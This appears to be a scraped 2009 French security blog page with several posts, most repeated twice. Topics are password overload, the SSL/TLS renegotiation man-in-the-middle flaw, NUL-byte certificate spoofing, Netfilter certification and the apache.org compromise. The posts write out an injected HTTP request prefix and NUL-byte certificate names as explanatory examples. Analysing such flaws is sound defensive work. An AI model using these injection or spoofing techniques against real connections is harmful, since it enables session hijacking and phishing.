Nous entendons souvent parler de force de mot de passe, de Single Sign On, de clés de chiffrement, mais finalement, combien de codes connaissons nous? En parlant indifféremment du monde réel et du monde informatique.
Je me suis intéressé à dénombrer le nombre de fois ou je dois taper un code pour me permettre d'accéder à une ressource ou à une donnée en déroulant une journée type.
Ma voiture a un code (4 chiffres) pour démarrer. Une fois arrivé au travail j'allume généralement mon téléphone (PIN, 4 chiffres). J'allume mon ordinateur qui me demande le mot de passe (+10 caractères) puis la messagerie (+10 caractères), puis un outil métier (+10 caractères). Mon téléphone fixe a un code pour écouter les messages reçus en mon absence (4 chiffres). Si j'ai besoin, je peux imprimer des documents (code à 4 chiffres) sur une imprimante réseau dans le couloir ou bien scanner des documents (autre code à 4 chiffres).
Je me connecte sur différentes messageries et forums on-line, la personnelle (+10 caractères), la secondaire (+10 caractères) et souvent une de mes identités poubelles pour regarder un peu le type de spams qui circulent (+10 caractères). J'ai besoin de me connecter à des sites professionnels ou des machines liées à mon métier. Mettons en moyenne 5 à 6 mots de passes. La majorité des machines de tests ont un mot de passe par défaut, toutefois.
Je peux utiliser ensuite ma carte bleue pour manger (PIN, 4 chiffres), et il m'arrive de me connecter sur le site de ma banque (code à 6 chiffres).
Lorsque je me connecte sur blogspot pour écrire ce texte, j'ai encore un code différent (+10 caractères).
Le soir, je dois mettre le code de mon immeuble (5 chiffres) puis celui de l'ascenseur (5 chiffres également). Si je rallume mon ordinateur personnel, j'ai le code LUKS (+10 caractères) puis le mot de passe (+10 caractères).
Je ne parle pas du code permettant d'accéder au vestiaire sportif, du code des casiers, du code des cadenas de mes valises et des codes d'immeubles de mes amis. J'aurais pu également citer de nombreuses cartes de fidélités de magasin, cartes dont je me passe, puisque le fait de donner mon code client à la caisse est suffisant pour me reconnaître. J'arrête là mon inventaire à la Prévert, pouvant encore le continuer longtemps.
Existe t'il une solution à l'explosion de ces codes? Je ne pense pas. Est ce qu'une telle solution est elle souhaitable? Je ne pense pas non plus. Je pense que nous avons besoin de plusieurs identités différentes: pourquoi le code de mon immeuble serait lié à celui de mon PIN de carte bleue ou encore le mot de passe de ma session linux?
Je ne pose pas ces questions innocemment. L'ambient intelligence nous promet un monde d'objets interconnectés. Nous nous en approchons toujours plus (l'électronique est déjà de partout, la communication entre ces objets augmente), comment gérerons nous les problématiques d'authentification? Faut-il qu'un téléphone portable serve à payer, à entrer dans son immeuble, à se géolocaliser sans action volontaire d'authentification? De plus l'authentification doit bien entendu être différente afin que l'utilisateur soit conscient de la requête. Il ne faudrait pas qu'un utilisateur tape un PIN de manière automatique sans pouvoir différencier une requête de payement, de signature ou d'ouverture de porte...
Les services proposés sont enthousiasmants, mais comment en limiter les risques?
jeudi 26 novembre 2009
vendredi 6 novembre 2009
MiTM sur SSL/TLS; faille protocolaire
La nouvelle est tombée il y a deux jours, il est possible de faire un MiTM sur du SSL/TLS. LEs journalistes d'internet vont encore parler de faille terrible, de big one, etc etc..
Oublions un peu les journaux du net et voyons plutôt les détails.
Tout d'abord, la source. L'article d'origine est situé sur le blog d'extended subset, qui contient les deux documents originaux les plus importants, le pdf schématique et l'article. Sur cette page, sont disponibles également des captures tcpdump.
Explication, de la faille, en deux temps. Tout d'abord, SSL est censé protéger contre tout type de MiTM, en intercalant entre le serveur et le client une couche de chiffrement . La couche SSL s'occupe donc des problématiques de chiffrement, échange de clés, etc... Entre autre problématique, celle de la renégociation des clés ou des méthodes de chiffrement. La faille se situe dans cette renégociation.
Ensuite, le SSL existe en deux méthodes, authentification serveur (ce qui est forcément le cas) et authentification côté client (ce qui est particulièrement rare). L'authent côté serveur permet au client d'authentifier le serveur ET de chiffrer les communications. L'authent côté client permet au serveur d'authentifier le client.
La couche applicative utilise ce tuyau authentifié et chiffré pour envoyer ses données.
Ceci étant posé, un MiTM reste possible ! La méthode exposée permet d'ajouter une quantité arbitraire de données en début de dialogue. Ce début de dialogue sera vu par le serveur non seulement comme légitime, mais en plus il sera authentifié!
Précisons les détails dans le cas d'une négociation HTTPs. Le schéma est celui-ci:
client --- MiTM --- serveur.
Le client envoie une requête au serveur. Le MiTM l'intercepte, puis négocie les clés de sessions entre le serveur et lui même. Il envoie une requête:
GET /secure/evil.html
X-swallow-this: <-- (sans retour chariot) Le MiTM redemande une négociation de clés, mais cette fois-ci, il route tous les paquets entre le client et le serveur. Le client imagine qu'il s'agit de la négo initiale des clés de sessions, de la méthode de chiffrement, etc et il envoie sa requête:
Eventuellement, le serveur demande le certificat client; du fait même du protocole, le serveur demande le certificat client _après_ la requête (les détails expliquant pourquoi sont dans le pdf.). La requête est authentifiée par le certificat client, et le serveur exécute aussi /secure/evil.html
SSL est donc entièrement battu: le SSL côté serveur est abusé, l'authent par login/pass est forwardée, et l'authent SSL cliente est elle aussi forwardée. Bien sûr, le MiTM ne voit pas la requête cliente (elle est chiffrée) ni la réponse du serveur (qui est chiffrée aussi). L'essentiel reste que l'attaquant, le MiTM, ait pu ajouter un entête choisi dans le dialogue SSL. La faille de sécurité est donc avérée. Il s'agit de plus d'une faille protocolaire puisque de bout en bout les normes ont été respectées.
Maintenant que ceci est posé, quels contremesures disposons nous?
1/ Interdire la renégociation SSL. Un patch pour openSSL est disponible. La question se pose alors: La renégociation lors d'un dialogue SSL est il 'mandatory' ? ou bien peut-on vivre sans? Si la renégo n'est pas nécessaire, alors c'est le meilleur moyen à court terme.
2/ Attendre une modification de la norme ce sur quoi l'IETF travaille actuellement. Puis attendre une modification des clients et serveurs.
3/ Pour les applis développées maison implémentant SSL, alors il faut également interdire la renégociation en cours de dialogue. Si une raison forte impose la renégociation des clés (comme la durée du dialogue ou le volume de données transférées) alors il faut casser la session applicative et en reprendre une nouvelle, ce qui peut être compliqué à mettre en oeuvre.
4/ Ajouter un firewall est complètement illusoire, même si cela reste des propositions qui sont faite comme j'ai pu lire sur internet :( (et là, sécurité FAIL, on connaît la chanson). Une faille protocolaire, au même titre que les canaux cachés, traversera aisément les firewalls puisque ces deux failles reposent sur un strict respect de la norme.
En conclusion, ce n'est pas le big one, mais un sérieux coup porté à la confiance apportée à SSL. Conclusion, si vous êtes un serveur, ne faites pas une confiance aveugle aux données clients pour la simple raison qu'elles sont chiffrées via SSL/TLS...
EDIT: 12/11/2009.
Le blog de sid en parle. Il contient plusieurs liens intéressants.
Oublions un peu les journaux du net et voyons plutôt les détails.
Tout d'abord, la source. L'article d'origine est situé sur le blog d'extended subset, qui contient les deux documents originaux les plus importants, le pdf schématique et l'article. Sur cette page, sont disponibles également des captures tcpdump.
Explication, de la faille, en deux temps. Tout d'abord, SSL est censé protéger contre tout type de MiTM, en intercalant entre le serveur et le client une couche de chiffrement . La couche SSL s'occupe donc des problématiques de chiffrement, échange de clés, etc... Entre autre problématique, celle de la renégociation des clés ou des méthodes de chiffrement. La faille se situe dans cette renégociation.
Ensuite, le SSL existe en deux méthodes, authentification serveur (ce qui est forcément le cas) et authentification côté client (ce qui est particulièrement rare). L'authent côté serveur permet au client d'authentifier le serveur ET de chiffrer les communications. L'authent côté client permet au serveur d'authentifier le client.
La couche applicative utilise ce tuyau authentifié et chiffré pour envoyer ses données.
Ceci étant posé, un MiTM reste possible ! La méthode exposée permet d'ajouter une quantité arbitraire de données en début de dialogue. Ce début de dialogue sera vu par le serveur non seulement comme légitime, mais en plus il sera authentifié!
Précisons les détails dans le cas d'une négociation HTTPs. Le schéma est celui-ci:
client --- MiTM --- serveur.
Le client envoie une requête au serveur. Le MiTM l'intercepte, puis négocie les clés de sessions entre le serveur et lui même. Il envoie une requête:
GET /secure/evil.html
X-swallow-this: <-- (sans retour chariot) Le MiTM redemande une négociation de clés, mais cette fois-ci, il route tous les paquets entre le client et le serveur. Le client imagine qu'il s'agit de la négo initiale des clés de sessions, de la méthode de chiffrement, etc et il envoie sa requête:
GET /secure/good.htmlLe serveur, lui concatène l'ensemble (puisque rien n'interdit la renégo en cours de dialogue applicatif) et voit donc la requête:
Host: thishost
Authent: authent-codes
Cookie: Cookies, etc..
GET /secure/evil.htmlOu l'on voit bien que la requête cliente est avalée dans l'entête X-swallow-this, mais que le reste des en-têtes du client (authent éventuelle, cookies, etc..) sont ajoutées. La requête est légitime, elle est chiffrée, et est donc effectuée par le serveur qui imagine dialoguer avec le client!
X-swallow-this: GET /secure/good.html
Host: thishost
Authent: authent-codes
Cookie: Cookies, etc..
Eventuellement, le serveur demande le certificat client; du fait même du protocole, le serveur demande le certificat client _après_ la requête (les détails expliquant pourquoi sont dans le pdf.). La requête est authentifiée par le certificat client, et le serveur exécute aussi /secure/evil.html
SSL est donc entièrement battu: le SSL côté serveur est abusé, l'authent par login/pass est forwardée, et l'authent SSL cliente est elle aussi forwardée. Bien sûr, le MiTM ne voit pas la requête cliente (elle est chiffrée) ni la réponse du serveur (qui est chiffrée aussi). L'essentiel reste que l'attaquant, le MiTM, ait pu ajouter un entête choisi dans le dialogue SSL. La faille de sécurité est donc avérée. Il s'agit de plus d'une faille protocolaire puisque de bout en bout les normes ont été respectées.
Maintenant que ceci est posé, quels contremesures disposons nous?
1/ Interdire la renégociation SSL. Un patch pour openSSL est disponible. La question se pose alors: La renégociation lors d'un dialogue SSL est il 'mandatory' ? ou bien peut-on vivre sans? Si la renégo n'est pas nécessaire, alors c'est le meilleur moyen à court terme.
2/ Attendre une modification de la norme ce sur quoi l'IETF travaille actuellement. Puis attendre une modification des clients et serveurs.
3/ Pour les applis développées maison implémentant SSL, alors il faut également interdire la renégociation en cours de dialogue. Si une raison forte impose la renégociation des clés (comme la durée du dialogue ou le volume de données transférées) alors il faut casser la session applicative et en reprendre une nouvelle, ce qui peut être compliqué à mettre en oeuvre.
4/ Ajouter un firewall est complètement illusoire, même si cela reste des propositions qui sont faite comme j'ai pu lire sur internet :( (et là, sécurité FAIL, on connaît la chanson). Une faille protocolaire, au même titre que les canaux cachés, traversera aisément les firewalls puisque ces deux failles reposent sur un strict respect de la norme.
En conclusion, ce n'est pas le big one, mais un sérieux coup porté à la confiance apportée à SSL. Conclusion, si vous êtes un serveur, ne faites pas une confiance aveugle aux données clients pour la simple raison qu'elles sont chiffrées via SSL/TLS...
EDIT: 12/11/2009.
Le blog de sid en parle. Il contient plusieurs liens intéressants.
mardi 13 octobre 2009
Chiffré ne signifie pas sécurisé.
La crypto est devenue part intégrante de la vie numérique.
Moi même, j'utilise des outils me permettant de chiffrer ou signer des mails à destination du monde entier, l'ensemble des clés se faisant confiance par le mécanisme des autorités de certification.
La crypto est toujours quelque chose de très aride à lire, comme par exemple la RFC 3852 qui spécifie la syntaxe des messages cryptos. On apprend que ces messages peuvent être signés, chiffrés, authentifiés ou que leur integrité soit assuré.
Mais le diable se niche dans les détails. Prenons l'exemple du chiffrement. Un fichier chiffré empêche quiconque de le lire, par définition.
Néanmoins, aucune garantie n'est faite sur son intégrité ou son authenticité!
Ce qui pose le problème suivant: imaginons qu'Alice veut écrire à Bob un message confidentiel.
Charlie peut tout à fait intercepter le message d'Alice et le supprimer. Puis envoyer un message chiffré avec la clé publique de Bob à Bob. Bob lira le message en pensant qu'il venait d'Alice. Il ne faut surtout pas qu'il imagine que le message soit d'Alice, bien que le message ait été parfaitement chiffré à l'aide de sa clé publique. La seule chose dont Bob soit sur, c'est que le message ne sera lu dorénavant que par lui, et qu'il a été lu par l'émetteur. Mais aucune garantie n'est faite sur l'émetteur.
Bien entendu, Charlie ne connaît pas le contenu du message d'Alice. Ce qui va poser des problèmes pratiques lors de la rédaction du second message pour Bob (Si Bob reçoit une proposition commerciale alors qu'Alice l'a prévenue qu'elle lui envoyait ses photos de vacances, il risque d'être soupçonneux.). Mais si Charlie connaît à peu près le contenu du message que doit envoyer Alice, alors il pourra le remplacer sans aucun problème.
Imaginons maintenant que Bob soit un client, et qu'il réalise un appel d'offre. Pour plus de confidentialité, il donne sa clé publique à Alice et Charlie pour qu'ils communiquent de manière sécurisée leurs propositions.
Charlie pourra usurper l'identité d'Alice sans aucun problème, afin de gagner à coup sûr l'appel d'offre. Il aura suffit à Charlie de connaître le type de mail qu'Alice envoie (ce qui est relativement faisable car l'appel d'offre est public, ainsi que le canevas de la réponse qu'Alice effectuera) et l'heure d'envoi. Et là, on voit bien que le chiffrement n'a amené absolument aucune sécurité contrairement a ce qu'imaginait Bob.
Les mêmes mécanismes d'usurpation peuvent être mis en oeuvre contre quelqu'un qui chiffre ses documents. Si j'ai accès au répertoire où ses documents sont chiffrés, et en m'aidant avec le nom des fichiers, je peux lui altérer grandement (sans qu'il s'en rende compte) ses fichiers.
Tout est chiffré, mais le fichier 'X' n'est plus le même. Si la personne est le DRH et que le fichier en question est mon contrat de travail, je devrais pouvoir le modifier de manière intéressante :-)
En conclusion, je dirais que chiffrer c'est bien, mais il ne faut pas se focaliser uniquement sur ce chiffrement.
Le chiffrement empêche un tiers de lire le contenu. Le chiffrement ne permet rien d'autre, ni à faire la moindre assertion sur l'émetteur, et encore moins sur l'intégrité des messages. Le chiffrement n'est donc qu'une étape, inutile, si elle est utilisée seule. Donc chiffrer, oui; mais signer est une obligation.
Moi même, j'utilise des outils me permettant de chiffrer ou signer des mails à destination du monde entier, l'ensemble des clés se faisant confiance par le mécanisme des autorités de certification.
La crypto est toujours quelque chose de très aride à lire, comme par exemple la RFC 3852 qui spécifie la syntaxe des messages cryptos. On apprend que ces messages peuvent être signés, chiffrés, authentifiés ou que leur integrité soit assuré.
Mais le diable se niche dans les détails. Prenons l'exemple du chiffrement. Un fichier chiffré empêche quiconque de le lire, par définition.
Néanmoins, aucune garantie n'est faite sur son intégrité ou son authenticité!
Ce qui pose le problème suivant: imaginons qu'Alice veut écrire à Bob un message confidentiel.
Charlie peut tout à fait intercepter le message d'Alice et le supprimer. Puis envoyer un message chiffré avec la clé publique de Bob à Bob. Bob lira le message en pensant qu'il venait d'Alice. Il ne faut surtout pas qu'il imagine que le message soit d'Alice, bien que le message ait été parfaitement chiffré à l'aide de sa clé publique. La seule chose dont Bob soit sur, c'est que le message ne sera lu dorénavant que par lui, et qu'il a été lu par l'émetteur. Mais aucune garantie n'est faite sur l'émetteur.
Bien entendu, Charlie ne connaît pas le contenu du message d'Alice. Ce qui va poser des problèmes pratiques lors de la rédaction du second message pour Bob (Si Bob reçoit une proposition commerciale alors qu'Alice l'a prévenue qu'elle lui envoyait ses photos de vacances, il risque d'être soupçonneux.). Mais si Charlie connaît à peu près le contenu du message que doit envoyer Alice, alors il pourra le remplacer sans aucun problème.
Imaginons maintenant que Bob soit un client, et qu'il réalise un appel d'offre. Pour plus de confidentialité, il donne sa clé publique à Alice et Charlie pour qu'ils communiquent de manière sécurisée leurs propositions.
Charlie pourra usurper l'identité d'Alice sans aucun problème, afin de gagner à coup sûr l'appel d'offre. Il aura suffit à Charlie de connaître le type de mail qu'Alice envoie (ce qui est relativement faisable car l'appel d'offre est public, ainsi que le canevas de la réponse qu'Alice effectuera) et l'heure d'envoi. Et là, on voit bien que le chiffrement n'a amené absolument aucune sécurité contrairement a ce qu'imaginait Bob.
Les mêmes mécanismes d'usurpation peuvent être mis en oeuvre contre quelqu'un qui chiffre ses documents. Si j'ai accès au répertoire où ses documents sont chiffrés, et en m'aidant avec le nom des fichiers, je peux lui altérer grandement (sans qu'il s'en rende compte) ses fichiers.
Tout est chiffré, mais le fichier 'X' n'est plus le même. Si la personne est le DRH et que le fichier en question est mon contrat de travail, je devrais pouvoir le modifier de manière intéressante :-)
En conclusion, je dirais que chiffrer c'est bien, mais il ne faut pas se focaliser uniquement sur ce chiffrement.
Le chiffrement empêche un tiers de lire le contenu. Le chiffrement ne permet rien d'autre, ni à faire la moindre assertion sur l'émetteur, et encore moins sur l'intégrité des messages. Le chiffrement n'est donc qu'une étape, inutile, si elle est utilisée seule. Donc chiffrer, oui; mais signer est une obligation.
mercredi 7 octobre 2009
Certificats et \0
Lors de la blackhat, Moxie Marlinspike et Dan Kaminsky ont proposé un nouveau moyen pour abuser les clients effectuant des vérifications sur des certificats.
En effet, un client comme un navigateur web vérifie que le nom de domaine sur lequel il est connecté correspond bien au CN du certificat.
Il a été montré à la blackhat qu'il est possible de faire signer par des autorités des certificats s'appelant:
victime.com\x00un.autre.nom
Le client peut alors lire le CN comme "victime.com".
A l'époque, à peu près tous les navigateurs webs étaient victimes de cette attaque.
Firefox a depuis été patché.
Sur une mailing list a été posté un certificat (et sa clé privée, non protégée par mot de passe) particulièrement percutant puisque son sujet est
Subject: C=US, CN=*\x00thoughtcrime.noisebridge.net, ST=California, L=San Francisco, O=Noisebridge, OU=Moxie Marlinspike Fan Club
C'est à dire qu'il est wildcard donc valide pour tous les domaines! Ainsi, n'importe quel phisheur peut utiliser ce certificat pour faire passer son site web pour n'importe qui.
Sa mise en oeuvre est très simple (j'ai construit la maquette avec un serveur web apache sous linux en moins de 10mn) et je confirme qu'avec un Firefox 2.0.0 (non patché) la connexion se fait sans warning, sans aucun message:
Et les informations sont les suivantes:
Et les détails:
La connexion avec un firefox 3.5 signale bien l'erreur, tout comme firefox 3.0.14 présenté ici (le CN est affiché complet, avec le \00):
La sortie de ce certificat "wildcard" n'a pas fait tellement de vague.
Sur ces entrefaits, Moxie Marlinspike décide à son tour de produire un certificat contenant un caractère NUL contrefaisant un unique site, paypal:
www.paypal.com\x00unsite
De manière étrange, on lit des commentaires offusqués, par exemple de la part de Paypal (le compte Paypal de Moxie a d'ailleurs été suspendu :) ), et d'autres journaux en ligne, en voici un parmi tant d'autres http://www.theregister.co.uk/2009/10/06/paypal_banishes_ssl_hacker/.
Le traitement et la digestion de l'information par le web me surprendront toujours. Comment se fait il qu'une bombe comme ce certificat wildcard ne fasse pas parler de lui, alors que le certificat de paypal soit présenté comme une crise majeure? Un élément de réponse concerne l'utilisation des wildcards par IE et la microsoft API je pense, cf le papier de Marlinspike . Pour faire bref, seule la lib NSS utilisée par la suite Mozilla se fait abuser par un wildcard *. Internet Explorer lève une alerte tout de même.
EDIT:
A la réflexion, je pense que le point est précisément celui-ci. D'un côté, nous disposons d'un arme de phishing massive (la wildcard) mais qui ne touche qu'une famille de navigateur web qui est patchée depuis longtemps. J'ai d'ailleurs eu du mal à retrouver une ancienne version de firefox.
D'un autre côté, on a une faille massivement disponible (tout ce qui touche la crypto API de microsoft) mais dont la mise en oeuvre est compliquée, et coûte cher: il faut créer le certificat, générer la demande, payer pour se faire certifier par une autorité, etc.. Un certificat avec NUL devient subitement d'une grande valeur, même s'il ne vise au final que peu de monde
En effet, un client comme un navigateur web vérifie que le nom de domaine sur lequel il est connecté correspond bien au CN du certificat.
Il a été montré à la blackhat qu'il est possible de faire signer par des autorités des certificats s'appelant:
victime.com\x00un.autre.nom
Le client peut alors lire le CN comme "victime.com".
A l'époque, à peu près tous les navigateurs webs étaient victimes de cette attaque.
Firefox a depuis été patché.
Sur une mailing list a été posté un certificat (et sa clé privée, non protégée par mot de passe) particulièrement percutant puisque son sujet est
Subject: C=US, CN=*\x00thoughtcrime.noisebridge.net, ST=California, L=San Francisco, O=Noisebridge, OU=Moxie Marlinspike Fan Club
C'est à dire qu'il est wildcard donc valide pour tous les domaines! Ainsi, n'importe quel phisheur peut utiliser ce certificat pour faire passer son site web pour n'importe qui.
Sa mise en oeuvre est très simple (j'ai construit la maquette avec un serveur web apache sous linux en moins de 10mn) et je confirme qu'avec un Firefox 2.0.0 (non patché) la connexion se fait sans warning, sans aucun message:
Et les informations sont les suivantes:
Et les détails:
La connexion avec un firefox 3.5 signale bien l'erreur, tout comme firefox 3.0.14 présenté ici (le CN est affiché complet, avec le \00):
La sortie de ce certificat "wildcard" n'a pas fait tellement de vague.
Sur ces entrefaits, Moxie Marlinspike décide à son tour de produire un certificat contenant un caractère NUL contrefaisant un unique site, paypal:
www.paypal.com\x00unsite
De manière étrange, on lit des commentaires offusqués, par exemple de la part de Paypal (le compte Paypal de Moxie a d'ailleurs été suspendu :) ), et d'autres journaux en ligne, en voici un parmi tant d'autres http://www.theregister.co.uk/2009/10/06/paypal_banishes_ssl_hacker/.
Le traitement et la digestion de l'information par le web me surprendront toujours. Comment se fait il qu'une bombe comme ce certificat wildcard ne fasse pas parler de lui, alors que le certificat de paypal soit présenté comme une crise majeure? Un élément de réponse concerne l'utilisation des wildcards par IE et la microsoft API je pense, cf le papier de Marlinspike . Pour faire bref, seule la lib NSS utilisée par la suite Mozilla se fait abuser par un wildcard *. Internet Explorer lève une alerte tout de même.
EDIT:
A la réflexion, je pense que le point est précisément celui-ci. D'un côté, nous disposons d'un arme de phishing massive (la wildcard) mais qui ne touche qu'une famille de navigateur web qui est patchée depuis longtemps. J'ai d'ailleurs eu du mal à retrouver une ancienne version de firefox.
D'un autre côté, on a une faille massivement disponible (tout ce qui touche la crypto API de microsoft) mais dont la mise en oeuvre est compliquée, et coûte cher: il faut créer le certificat, générer la demande, payer pour se faire certifier par une autorité, etc.. Un certificat avec NUL devient subitement d'une grande valeur, même s'il ne vise au final que peu de monde
samedi 19 septembre 2009
Netfiter et iptables
Le firewall linux, Netfilter et son outil de configuration iptables ont été validés par l'ANSSI, ex DCSSI:
Le 9 septembre 2009, certification au titre de la CSPN du logiciel Netfilter. L'ANSSI a remis à la Netfilter Core Team un certificat au titre de la CSPN pour le logiciel Netfilter sur un noyau linux v2.6.27 - iptables v.1.4.2.
L'ANSSI a donc certifié Netfilter/iptables.
Le noyau est un peu ancien (le 2.6.31 vient de sortir, à ce sujet un exploit existe déjà pour passer root de manière locale), iptables existe en version 1.4.5 mais je suis très intéressé par cette nouvelle.
Néanmoins quelques points m'étonnent:
1/
Il est évalué:
Filtrage IP « avec états » ou « stateful »
Les états suivants ont été évalués :
• NEW pour nouvelle connexion ;
Mais plus loin, il est clairement dit:
Lors des tests il a été noté que les paquets ayant le drapeau « ACK » activé sont acceptés en tant que nouvelle session s’ils ne correspondent pas à une session en cours.
Pour éviter l’acceptation de ces paquets et ne laisser passer que les paquets TCP « SYN », il est nécessaire de spécifier l’option « --syn » aux règles correspondant aux états « NEW ».
Est-ce en dehors de la spécification ou non? Selon moi, oui. Un paquet ayant le drapeau ACK activé ne devrait pas être accepté en tant que nouvelle session... Bug ou pas Bug?
2/
Messages sybillins. Hélas, dans le texte, plusieurs fois reviennent ce genre de messages:
2.3.4.2 Avis d’expert sur la résistance des mécanismes
Les mécanismes de sécurité sont robustes.
Sans plus d'explications, ce que je trouve dommage. Peut-être qu'un autre document précise l'ensemble de tests effectués.
3/
Mécanismes cryptographiques:
2.4 Analyse de la résistance des mécanismes cryptographiques
Le produit évalué ne comporte pas de mécanismes cryptographiques.
Et pourtant le produit évalué contient bien un mécanisme cryptographique :-) mais c'est une boutade, je pense à la cible XOR définie dans les ajouts d'iptables.
Donc bonne nouvelle pour Netfilter/iptables, c'est un outil de qualité, sa certification vient confirmer officiellement ce fait.
Le 9 septembre 2009, certification au titre de la CSPN du logiciel Netfilter. L'ANSSI a remis à la Netfilter Core Team un certificat au titre de la CSPN pour le logiciel Netfilter sur un noyau linux v2.6.27 - iptables v.1.4.2.
L'ANSSI a donc certifié Netfilter/iptables.
Le noyau est un peu ancien (le 2.6.31 vient de sortir, à ce sujet un exploit existe déjà pour passer root de manière locale), iptables existe en version 1.4.5 mais je suis très intéressé par cette nouvelle.
Néanmoins quelques points m'étonnent:
1/
Il est évalué:
Filtrage IP « avec états » ou « stateful »
Les états suivants ont été évalués :
• NEW pour nouvelle connexion ;
Mais plus loin, il est clairement dit:
Lors des tests il a été noté que les paquets ayant le drapeau « ACK » activé sont acceptés en tant que nouvelle session s’ils ne correspondent pas à une session en cours.
Pour éviter l’acceptation de ces paquets et ne laisser passer que les paquets TCP « SYN », il est nécessaire de spécifier l’option « --syn » aux règles correspondant aux états « NEW ».
Est-ce en dehors de la spécification ou non? Selon moi, oui. Un paquet ayant le drapeau ACK activé ne devrait pas être accepté en tant que nouvelle session... Bug ou pas Bug?
2/
Messages sybillins. Hélas, dans le texte, plusieurs fois reviennent ce genre de messages:
2.3.4.2 Avis d’expert sur la résistance des mécanismes
Les mécanismes de sécurité sont robustes.
Sans plus d'explications, ce que je trouve dommage. Peut-être qu'un autre document précise l'ensemble de tests effectués.
3/
Mécanismes cryptographiques:
2.4 Analyse de la résistance des mécanismes cryptographiques
Le produit évalué ne comporte pas de mécanismes cryptographiques.
Et pourtant le produit évalué contient bien un mécanisme cryptographique :-) mais c'est une boutade, je pense à la cible XOR définie dans les ajouts d'iptables.
Donc bonne nouvelle pour Netfilter/iptables, c'est un outil de qualité, sa certification vient confirmer officiellement ce fait.
mercredi 2 septembre 2009
Les sites gouvernementaux...
Le surf sur internet peut toujours réveler quelques surprises:
Maintenant, ne voyons pas forcément le mal de partout. Découpons donc l'alias de l'adresse.
footprint.net, c'est Level3 (un des gros fournisseurs d'accès à internet, si l'on peut dire). cdn.cdn-tech.com est une société française (non le site de l'intérieur n'est pas noyauté par des américains). CDN signifie Content Delivery Network, c'est un système ou les ressources web sont dupliquées et dispersées dans le monde. Ainsi, les clients accèdent toujours à des données proche d'eux géographiqument.
Donc, cela signifie que le ministère de l'intérieur fait une sorte de haute disponibilité DNS et web pour héberger ses pages et ainsi augmenter la résilience de son site web.
Cela est donc tout à son honneur.
Mais externaliser son site web, c'est aussi s'exposer à des problèmes. La compromission de l'hébergeur est la première chose qui vient à l'esprit, mais d'autres petits bugs peuvent survenir
Or donc, le site https://www.interieur.gouv.fr
Offre une erreur, comment dire, intéressante..
Si à 50 ans vous êtes au gouvernement et que vous n'avez pas une montre Cartier, c'est que vraiment, vous n'avez pas réussi votre infrastructure :-)
PS: Curieusement, Cartier n'a pas de site web correspondant à ces domaines. Le certificat est valide depuis le 28/08/2009 (3 jours, donc) . Peut-être que Cartier est en train de batir une boutique on-line.
EDIT: 04/09/2009. Le site https://www.interieur.gouv.fr ne redirige plus chez Cartier. Il ne redirige d'ailleurs sur rien. Le site www.interieur.gouv.fr n'est disponible qu'en HTTP, pas en HTTPs.
$ host www.interieur.gouv.frJe trouve toujours cela curieux que les organismes gouvernementaux n'hébergent pas leurs machines et leurs serveurs.
www.interieur.gouv.fr is an alias for \
cdn.cdn-tech.com.c.footprint.net.
cdn.cdn-tech.com.c.footprint.net \
has address 205.128.69.93
Maintenant, ne voyons pas forcément le mal de partout. Découpons donc l'alias de l'adresse.
footprint.net, c'est Level3 (un des gros fournisseurs d'accès à internet, si l'on peut dire). cdn.cdn-tech.com est une société française (non le site de l'intérieur n'est pas noyauté par des américains). CDN signifie Content Delivery Network, c'est un système ou les ressources web sont dupliquées et dispersées dans le monde. Ainsi, les clients accèdent toujours à des données proche d'eux géographiqument.
Donc, cela signifie que le ministère de l'intérieur fait une sorte de haute disponibilité DNS et web pour héberger ses pages et ainsi augmenter la résilience de son site web.
Cela est donc tout à son honneur.
Mais externaliser son site web, c'est aussi s'exposer à des problèmes. La compromission de l'hébergeur est la première chose qui vient à l'esprit, mais d'autres petits bugs peuvent survenir
Or donc, le site https://www.interieur.gouv.fr
Offre une erreur, comment dire, intéressante..
Si à 50 ans vous êtes au gouvernement et que vous n'avez pas une montre Cartier, c'est que vraiment, vous n'avez pas réussi votre infrastructure :-)PS: Curieusement, Cartier n'a pas de site web correspondant à ces domaines. Le certificat est valide depuis le 28/08/2009 (3 jours, donc) . Peut-être que Cartier est en train de batir une boutique on-line.
EDIT: 04/09/2009. Le site https://www.interieur.gouv.fr ne redirige plus chez Cartier. Il ne redirige d'ailleurs sur rien. Le site www.interieur.gouv.fr n'est disponible qu'en HTTP, pas en HTTPs.
vendredi 28 août 2009
Compromission d'apache.org
Le site apache.org vient d'être attaqué.
Ils indiquent:
Il ne s'agit pas d'une faille d'apache, mais d'une clé ssh compromise, comme ils indiquent sur leur site.
Il y a quelque temps, RedHat s'était également fait compromettre via une clé SSH. Le pirate aurait pu signer des paquets (le conditionnel est de mise). cf http://www.certa.ssi.gouv.fr/site/CERTA-2008-AVI-428/.
RedHat avait promis fournir toutes les informations relatives à cette attaque, ce que nous attendons toujours.
J'espère qu'Apache aura plus de transparence et indiquera comment la clé a pu être compromise, ce qui a un interêt relatif, et surtout comment la détection et la circonscription de l'attaque s'est faite.
1/ La compromission de la clé peut arriver de multiples manières. On peut imaginer un utilisateur malveillant. On peut imaginer un utilisateur protégeant mal sa clé. On peut imaginer une première compromission d'infrastructures (zf05 nous rappelle bien que les infrastructures mutualisées ne sont pas de confiance)
2/ La détection de l'attaque est donc bien plus intéressante. Quelles sont les méthodes qui ont permis de détecter des manipulations malicieuses? Quelles ont été les actions prises pour circonscrire l'attaquant? Comment revenir à un fonctionnement normal et sain par la suite?
Donc, Wait and See.
Ils indiquent:
The Infrastructure Team of The Apache Software
Foundation is currently investigating a
potential compromise of one of our servers.
For security reasons most apache.org
services are therefore offline, but will be
restored shortly. We apologies for any
inconvenience this may cause.
Il ne s'agit pas d'une faille d'apache, mais d'une clé ssh compromise, comme ils indiquent sur leur site.
10:42am UTC: Compromise was due to aNous attendons des détails, donc. Ce genre d'attaque serait effectivement très intéressante à décortiquer pour comprendre comment elle a pu être possible.
compromised SSH Key, not due to any software
exploits in Apache itself.
More details soon.
Il y a quelque temps, RedHat s'était également fait compromettre via une clé SSH. Le pirate aurait pu signer des paquets (le conditionnel est de mise). cf http://www.certa.ssi.gouv.fr/site/CERTA-2008-AVI-428/.
RedHat avait promis fournir toutes les informations relatives à cette attaque, ce que nous attendons toujours.
J'espère qu'Apache aura plus de transparence et indiquera comment la clé a pu être compromise, ce qui a un interêt relatif, et surtout comment la détection et la circonscription de l'attaque s'est faite.
1/ La compromission de la clé peut arriver de multiples manières. On peut imaginer un utilisateur malveillant. On peut imaginer un utilisateur protégeant mal sa clé. On peut imaginer une première compromission d'infrastructures (zf05 nous rappelle bien que les infrastructures mutualisées ne sont pas de confiance)
